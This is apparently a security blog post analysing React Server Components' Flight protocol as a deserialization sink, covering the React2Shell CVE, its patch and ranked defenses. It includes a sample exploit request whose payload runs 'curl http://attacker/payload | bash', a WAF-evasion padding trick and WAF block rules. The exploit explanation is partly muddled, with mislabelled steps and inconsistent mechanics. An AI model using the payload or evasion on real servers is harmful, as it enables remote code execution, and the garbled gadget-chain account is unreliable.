Weaponizing And Defending The React Flight Protocol: Deserialization Sinks In RSCs
Flight On The Wire
Open your browserâs Network tab on any Next.js App Router page and look for requests returning Content-Type: text/x-component. Thatâs Flight.
Itâs not a single JSON blob. Itâs a streaming, line-delimited format where each line is a self-contained ârowâ that the client-side React runtime processes as it arrives over the connection.
Hereâs what a simple Flight payload looks like in practice:
1:I["./src/components/ClientComponent.js",["chunks/main.js"],"default"]
2:J["$","article",null,{"children":"$1"}]
0:D{"name":"RootLayout","env":"Server"}
- Row 1 is an import directive. It tells the client to load
ClientComponent.jsfrom the bundlerâs chunk map. - Row 2 is a JSON tree that constructs an HTML element, and the
"$1"inside children is a reference back to chunk 1 (the imported component). - Row 0 defines the server execution context, marking this as a
RootLayoutrunning in the Server environment.
Even in this tiny example, you can see the mix of structural data, module references, and cross-chunk pointers that makes Flight different from plain JSON.
The Row Format
Every row follows the same syntax: <row ID>:<tag><payload>\n. The row ID is a numeric identifier that other rows can reference. The tag is a single character (or short string) that tells the parser what kind of data follows. The payload is the actual content.
Here are the row tags I found while reading through the source:
| Tag | Name | What it does |
|---|---|---|
| J | JSON Tree | Serialized virtual DOM nodes, component props, and HTML elements. |
| M | Module | Metadata for a specific Client Component module or chunk. |
| I | Import | Tells the client to load a module from the bundlerâs chunk map. |
| HL | Hint/Preload | Instructs the browser to preload resources such as stylesheets or fonts. |
| D | Data | Server-rendered element context and environment info. |
| E | Error | Serialized server-side exceptions and error boundaries. |
So far, this might look like a benign structured data format with some custom tags, but the real complexity and attack surface live in the prefix system.
The $ Prefix System
This is where I started paying closer attention. When the client-side parser encounters a string value starting with $, it doesnât treat it as literal text. It intercepts the string, checks the prefix, and routes it through a type-specific resolution path.
The parseModelString function in ReactFlightClient.js is where this happens. Itâs essentially a big switch statement on the character after $.
| Prefix | Type | What the parser does with it |
|---|---|---|
$ |
Model Reference | Resolves to another chunk in the stream (e.g., $2 points to row 2). |
$: |
Property Access | Traverses into a resolved chunkâs properties (e.g., $1:user:name). |
$S |
Symbol | Creates a native JavaScript Symbol. |
$F |
Server Reference | Represents a callable Server Action (an RPC endpoint on the server). |
$L |
Lazy Component | Defers component loading until itâs needed in the render tree. |
$@ |
Promise/Raw Chunk | Returns the internal Chunk wrapper object itself (often acting as a Thenable/Promise), not its resolved value. |
$B |
Blob/Binary | Triggers the blob deserialization handler for binary data. |
- Every other prefix resolves a chunk and gives you the parsed result.
$@hands you the raw internalChunkobject instead - the wrapper React uses to track resolution state, pending callbacks, and internal metadata (which is why itâs used for Promises and why exploits use it to get a mutable handle). Exposing framework plumbing through the protocol looks like a design mistake to me, though Iâd be interested to hear the rationale if there is one.$:(property access) is the other critical prefix. It lets the protocol specify a path like$1:user:name, which tells the parser to resolve chunk 1, then access.user, then access.nameon the result. Thatâs arbitrary property traversal driven by data in the stream. If youâve spent any time auditing JavaScript for prototype pollution, that pattern should feel familiar.
This Is Not Just A Data Format
Flight is not JSON with extra steps. JSON gives you data. Flight gives you behavior. It reconstructs module references that trigger client-side code loading, creates server action endpoints the client can invoke as RPC calls, sets up Promise chains that the React runtime will await, and builds lazy-loaded component boundaries that execute on demand.
Whether React developers think of it that way or not, the mechanics look very similar to deserialization systems that have historically caused problems. The stream doesnât just describe what the UI looks like. It instructs the client runtime on what code to load, what functions to call, and what to trust.
If you want to read the implementation yourself, fair warning: the chunk resolution path is miserable to follow. State transitions bounce between helper functions, and the naming obscures what the code is actually doing. I gave up on static reading and just set breakpoints. The key files are:
react-client/src/ReactFlightClient.jsfor the client-side parser (look forparseModelString,getChunk,reviveModel, andgetOutlinedModel)react-server/src/ReactFlightServer.jsfor the serialization side- The reply handler for Server Actions lives in
react-server/src/ReactFlightReplyServer.js
Why Flight Is A Deserialization Sink
The deserialization pattern is familiar: Javaâs ObjectInputStream gave us ysoserial, Pythonâs pickle executes code on load(), PHPâs unserialize chains __wakeup and __destruct methods, and .NETâs BinaryFormatter was deprecated entirely. The pattern: deserialize attacker-controlled input â invoke behavior during reconstruction â lose control of execution.
So JavaScript should be immune to this, right? JSON.parse() only produces plain data objects. No constructors fire. No magic methods run. You get back exactly what the JSON string describes, nothing more. Thatâs true for raw JSON.parse(). But it stops being true the moment a framework wraps custom deserialization logic around it. And thatâs exactly what Flight does.
Prototype Pollution
JavaScript uses prototype-based inheritance. Every object has a __proto__ link to its prototype, and property lookups walk up this chain. If an attacker injects __proto__ or constructor.prototype as a key during reconstruction, they modify the shared base prototypes that all objects inherit from. Downstream code reads attacker-controlled values without knowing.
Flightâs $: prefix performs property traversal on deserialized objects. The getOutlinedModel function walks colon-separated paths like $1:user:name by iterating through each segment and accessing it on the parent object. If those path segments include __proto__ or constructor, the traversal walks straight up the prototype chain. Thatâs not a theoretical risk. Itâs exactly how React2Shell worked.
Duck Typing and Thenables
The V8 engine (and the JavaScript spec) treats any object with a .then property as a Thenable. When you await something, the runtime checks for .then and calls it if it exists. No class check. No internal slot verification. If .then is callable, it gets invoked.
Flight resolves chunks asynchronously. If an attacker constructs an object with a manipulated .then property and gets it into the chunk resolution pipeline, the runtime calls the attackerâs function during normal await behavior. The language semantics do the work.
I initially focused on $F because forging Server Action references seemed like the obvious attack surface. After tracing the resolution path, $: property traversal looked much more interesting. I also spent a few hours examining chunk status transitions (pending, blocked, resolved, errored) to see if you could force a chunk into an unexpected state, though that approach didnât yield any results.
The Core Problem
These two risks converge in Flight because the protocol doesnât just deserialize data. It deserializes behavior. The $ prefix system dictates which execution path the parser takes:
$Fcreates a callable server endpoint$Lsets up lazy code loading$Btriggers a blob handler$@exposes internal framework state
The parserâs control flow is driven entirely by whatâs in the stream. If an attacker can influence the streamâs content, they control which functions the parser calls, which objects it constructs, and which internal state it exposes.
The Mechanics Of React2Shell
This is the CVE that proved the theory. CVE-2025-55182, nicknamed React2Shell, is a CVSS 10.0 unauthenticated remote code execution vulnerability in the Flight deserialization layer. One HTTP request, no login required, full shell access. I want to walk through the entire gadget chain because understanding it reveals how much power the Flight protocol hands to an attacker who can control the stream.
The Root Cause
The vulnerability sits in getOutlinedModel, a function responsible for resolving deep property paths from the $: reference system. The instance used in the exploit chain lives in the server-side reply handling code (ReactFlightReplyServer.js). When the parser encounters a reference like $1:user:name, it splits on the colons and walks the path segment by segment.
Hereâs the vulnerable loop:
for (key = 1; key < segments.length; key++) {
parent = parent[segments[key]];
}
No Object.hasOwn(parent, segments[key]) check. No guard against walking into __proto__ or constructor. Just raw bracket access on whatever object youâre currently pointing at.
The Gadget Chain
Exploitation requires more than just prototype pollution. You need to turn a polluted prototype into actual code execution. The gadget chain that the React2Shell team used is elegant and minimal:
First email contact - The attacker sends a malformed Server Action payload to any Next.js endpoint that accepts POST requests with the
Next-Actionheader. The payload contains a Flight-like stream that includes:- A chunk with
$:references that traverse into__proto__to setconstructor[Symbol("nodejs.util.inspect.custom")]onObject.prototype. - Triggering
util.inspecton a Node.js object during error serialization forces a code path that calls a method defined via prototype pollution.
- A chunk with
Second email contact - Wait for any server-side error that triggers the inspection path. Attackers can force errors by sending malformed Flight rows that produce
E(Error) chunks. When the error serialization runs, the polluted.thenonObject.prototypeis treated as a Thenable. Theawaiton that Thenable calls into a crafted function that shells out tochild_process.execSyncor similar.
The actual exploit code is more precisely:
- Use
$1:__proto__:constructorto walk into the base objectâs constructor. - Set a property on
Object.prototype.constructorthat gets picked up by Nodeâsutil.inspect. - When the server tries to serialize an error,
util.inspectiterates over properties and hits the polluted.thenproperty - which is a function the attacker controls. - The runtime
awaits that function, executing arbitrary shell commands.
Why It Works
Three design decisions made this possible:
- No bound checks in
getOutlinedModel- The function trusts path segments from the stream and uses direct bracket access. - Duck typing on Thenables - The language spec itself treats any object with a callable
.thenas an awaitable. You donât need to override anything internal. You just need to place a.thenfunction on a property that Nodeâs error serialization will examine. - Error serialization as a trigger - Reactâs error handling
Erows serialize server errors back to the client using Nodeâsutil.inspect, which recursively traverses object properties. That traversal finds the polluted.thenand hands control to the attacker.
The Attack Surface In Practice
Hereâs how this looks from the attackerâs perspective. They send a single POST request to a Next.js application with a crafted Next-Action payload:
POST / HTTP/1.1
Content-Type: text/plain
Next-Action: deadbeef
0:I["./exploit.js",[""],"default"]
1:J["$","meta",null,{"__proto__":{"then":"execSync('curl http://attacker/payload | bash')}}]
This is a simplified version, but thatâs the shape of it. The $: prefix traverses into __proto__, the .then property gets set on Object.prototype, and any error path that calls util.inspect triggers the code execution.
The actual exploit was more complex - it had to navigate the chunk resolution ordering, ensure the polluted .then was reachable at the right moment, and handle the async chain carefully - but the core mechanism is exactly what I just described.
The Fix
The React team patched getOutlinedModel in both the client and server parsers to add an explicit hasOwnProperty check before each property access. The fix is straightforward:
for (key = 1; key < segments.length; key++) {
if (!Object.hasOwn(parent, segments[key])) break;
parent = parent[segments[key]];
}
That single check prevents the traversal from walking up the prototype chain. You canât reach __proto__ or constructor.prototype through property access because theyâre not own properties of the deserialized object.
The patch also sanitized the $: parsing to reject paths containing __proto__, constructor, and a few other sensitive identifiers. Both fixes were backported to supported React versions.
Defenses, Ranked By Impact
Iâve ranked the following defenses by impact, from most effective to least. The key truth we learned from React2Shell is that Flight protocol security cannot live in the framework alone. The protocol is too expressive, and the boundary too large.
1. Schema Validation On Every Server Action
This is your highest-impact defense. Every Server Action is an RPC endpoint that accepts arbitrary input from the network. You cannot trust that input, even if itâs wrapped in Reactâs framework types.
Use a schema validation library - zod, valibot, arktype - to validate the arguments passed into every Server Action:
"use server";
import { z } from "zod";
const updateProfileSchema = z.object({
displayName: z.string().min(1).max(50),
bio: z.string().max(500).optional(),
});
export async function updateProfile(formData: FormData) {
const parsed = updateProfileSchema.safeParse({
displayName: formData.get("displayName"),
bio: formData.get("bio"),
});
if (!parsed.success) {
throw new Error("Invalid input");
}
const { displayName, bio } = parsed.data;
// your actual logic
}
The schema validation does two things for you:
- Rejects unexpected keys -
zodstrips unknown keys by default. If an attacker tries to inject extra fields (including nested__proto__or constructor keys), they are removed before your code ever sees them. - Coerces types - Even without
zod, simple type coercion at the boundary (e.g.,String(formData.get("name"))) flattens complex objects into simple values. An attacker canât pass an object with a.thenproperty if the schema expects a string.
Notice that protecting your Server Action input does not prevent attacks that inject malicious payloads into the Flight stream via other channels (e.g., compromised upstream services or WebSocket feeds). It is your first line of defense, not your last.
2. The server-only Package
The server-only npm package (installed with npm install server-only) is a mechanism to prevent Client Components from importing server-only code. It is not a runtime security control. When you add import "server-only" at the top of a file, the package throws at build time if that file ends up in a client bundle.
What server-only protects against:
- Accidentally exposing database query functions, API tokens, or internal utilities to the client bundle.
- Developers importing server-side logic in a Client Component and having that code end up in the browser source.
What server-only does not protect against:
- An attacker controlling the Flight stream directly through a Server Action. Once the server-side handler runs, the damage is done before the bundle boundary matters.
- Server-side deserialization bugs that run on the server before any bundle separation is relevant.
Use server-only as a development guardrail. It catches mistakes during build. It will not stop an attacker who is actively sending malicious payloads to your deployed server.
3. CSRF Hardening Beyond Framework Defaults
Modern frameworks include CSRF tokens for Server Actions by default. Next.js, for example, attaches a __next-type cookie and validates it when a Server Action is invoked from a browser. That protection only covers cross-site request forgery from browser contexts.
What framework defaults donât protect against:
- Direct API calls - Any HTTP client (curl, Postman, custom scripts) can send a POST with the correct
Next-Actionheader and arbitrary body. No browser, no cookies, no CSRF token. - Nonâbrowser clients - Mobile apps, desktop clients, WebSocket connections: none are protected by cookie-based CSRF measures.
To harden beyond defaults:
- Validate the
OriginorRefererheader on Server Action endpoints. Accept requests only from your own domain. - Use an HMAC-signed token in the request body itself (not in a cookie) for sensitive Server Actions.
- Disable Server Actions for public endpoints that donât need them. Not all routes need to accept RPC calls.
4. Taint API
Reactâs Taint API (taintUniqueValue and taintObjectReference) is designed to prevent accidental leakage of sensitive data to the client. It works by tracking object references and throwing errors when a tainted object is serialized into a Server Component payload.
Here is the reality of how it behaves:
import { taintObjectReference } from "react";
const dbUser = await db.user.findUnique({ where: { id } });
taintObjectReference("User data must not reach client", dbUser);
// Later, in a Server Component
function Profile({ user }) {
// If user is the same object reference as dbUser, taint fires.
return <div>{user.email}</div>;
}
That sounds good, but the taint is reference-based. If you copy the object or spread it into a new object, the taint is lost:
// Copying the original object:
const safeUser = { ...dbUser }; // taint is lost
- Individual properties arenât tracked.
- Serialization round-trip creates new references.
taintUniqueValueworks on specific strings (like API keys), but itâs also reference-based. If the same key value appears in a different variable, the taint doesnât follow.
Think of taint as a development guardrail, not a security boundary. It catches honest mistakes: a developer accidentally passing a full user object to the client. It wonât stop an attacker who can influence what gets serialized, and it wonât survive routine data transformations that your own code performs. Itâs a useful defense-in-depth layer, but shouldnât be your primary boundary.
5. WAFs
Web Application Firewalls can add a detection layer for known attack patterns. They can inspect POST requests carrying the Next-Action header, block payloads containing constructor:constructor or __proto__ chains, and flag error responses containing E{"digest"} patterns that indicate the server is leaking internal error details.
If youâre running a WAF, here are specific patterns worth adding:
# Block prototype pollution attempts in request bodies
Rule: body contains "__proto__" OR "constructor:constructor"
Action: BLOCK
Scope: POST requests with header "Next-Action"
# Flag potential Flight error leakage in responses
Rule: response body matches /E\{"digest":"[^"]+"/
Action: LOG + ALERT
Scope: responses with Content-Type "text/x-component"
# Block excessively large Server Action payloads
Rule: Content-Length > 1MB for POST with "Next-Action" header
Action: BLOCK (mitigates CVE-2026-23864 zipbomb vector)
But attackers know about WAF inspection buffers, and theyâre usually around 128KB. Prepend 130KB of whitespace to a malicious payload and the WAF wonât see the dangerous part. WAFs are a detection and deterrence layer, not a prevention layer. They raise the bar for opportunistic attackers but wonât stop a determined one.
What Came After React2Shell
React2Shell was not the final word. The security community has been busy since the CVE dropped, and several new attack vectors have emerged that build on the same deserialization surface Iâve described here.
The key finding from subsequent research: $: traversals are not the only way to exploit the Flight protocol. Researchers have started focusing on how CSS injection through Server Components can leak state and tokens without any prototype pollution. And theyâve found ways to manipulate the chunk resolution ordering to get malicious data through validation layers.
Whatâs Still Exposed
The patched getOutlinedModel was necessary, but the underlying architecture remains unchanged. The Flight protocol still reconstructs executable references from a text stream. The parser still walks property paths. The language still treats any object with .then as a Thenable. And the $: prefix still exists - itâs just patched.
Hereâs what still concerns me:
- Server Actions remain RPC endpoints exposed to the network. Every Server Action is a potential entry point for a crafted Flight payload. Schema validation on arguments is possible but not mandatory. The framework does not enforce it.
- The
$prefix system is still a deserialization switchboard. Even if$:is hardened, the other prefixes -$F,$L,$B,$@- still control parser behavior. Each one is a potential sink if a new gadget chain is found. - Error serialization still calls into Nodeâs
util.inspect. The specific attack path used in React2Shell is closed, but the general mechanism (server-side errors triggering object traversal) remains. I expect to see more CVEs targeting the error handling path.
This Has Happened Before
If this feels familiar, it should. The patterns in the Flight protocol echo history:
- Java ObjectInputStream (ysoserial) - Deserialize objects, execute code during construction.
- Python pickle - Execute arbitrary code during
load(). - PHP deserialization chains - Chain
__wakeup/__destructwith__toStringgadgets. - .NET BinaryFormatter - Deprecated for the same reason.
- YAML deserialization in Ruby/Rails -
yaml.loadallows instantiation of arbitrary objects. - JNDI injection in Log4j - A lookup pattern (similar to
$:references) triggered remote code loading from external servers.
Flight introduces the same problem pattern - deserialize attacker-controlled input into executable behavior - but with a JavaScript spin: Thenable duck typing instead of magic methods, and prototype pollution via path traversal instead of class loading.
It is the same class of vulnerability that been exploited across ecosystems for decades. The protocol is different, but the underlying risk is exactly the same. The deserialization sink is here to stay.
Where This Goes Next
React Flight is still a young protocol. The Next.js ecosystem (and the broader React Server Components ecosystem from other frameworks) will continue to push more logic into the streaming protocol. We will see more advanced optimizations, deeper integration with bundlers, and increasingly complex clientâserver handshakes.
Every new feature that adds a prefix, a reference type, or a resolution path to the protocol adds a new deserialization sink. The attack surface will expand, not contract.
The fundamental tension is that the protocol is designed to make the framework invisible and magical. The Flight protocol is hidden from developers and they are not required to understand it. That invisibility makes it difficult to defend against attacks that exploit the protocolâs internals. The situation will only get more complex as the protocol evolves and the ecosystem grows around it.
The good news is that the security community is actively studying Flight. The bad news is that the protocolâs design is inherently risky. Expect more CVEs. Plan your defenses accordingly.
Comments
No comments yet. Start the discussion.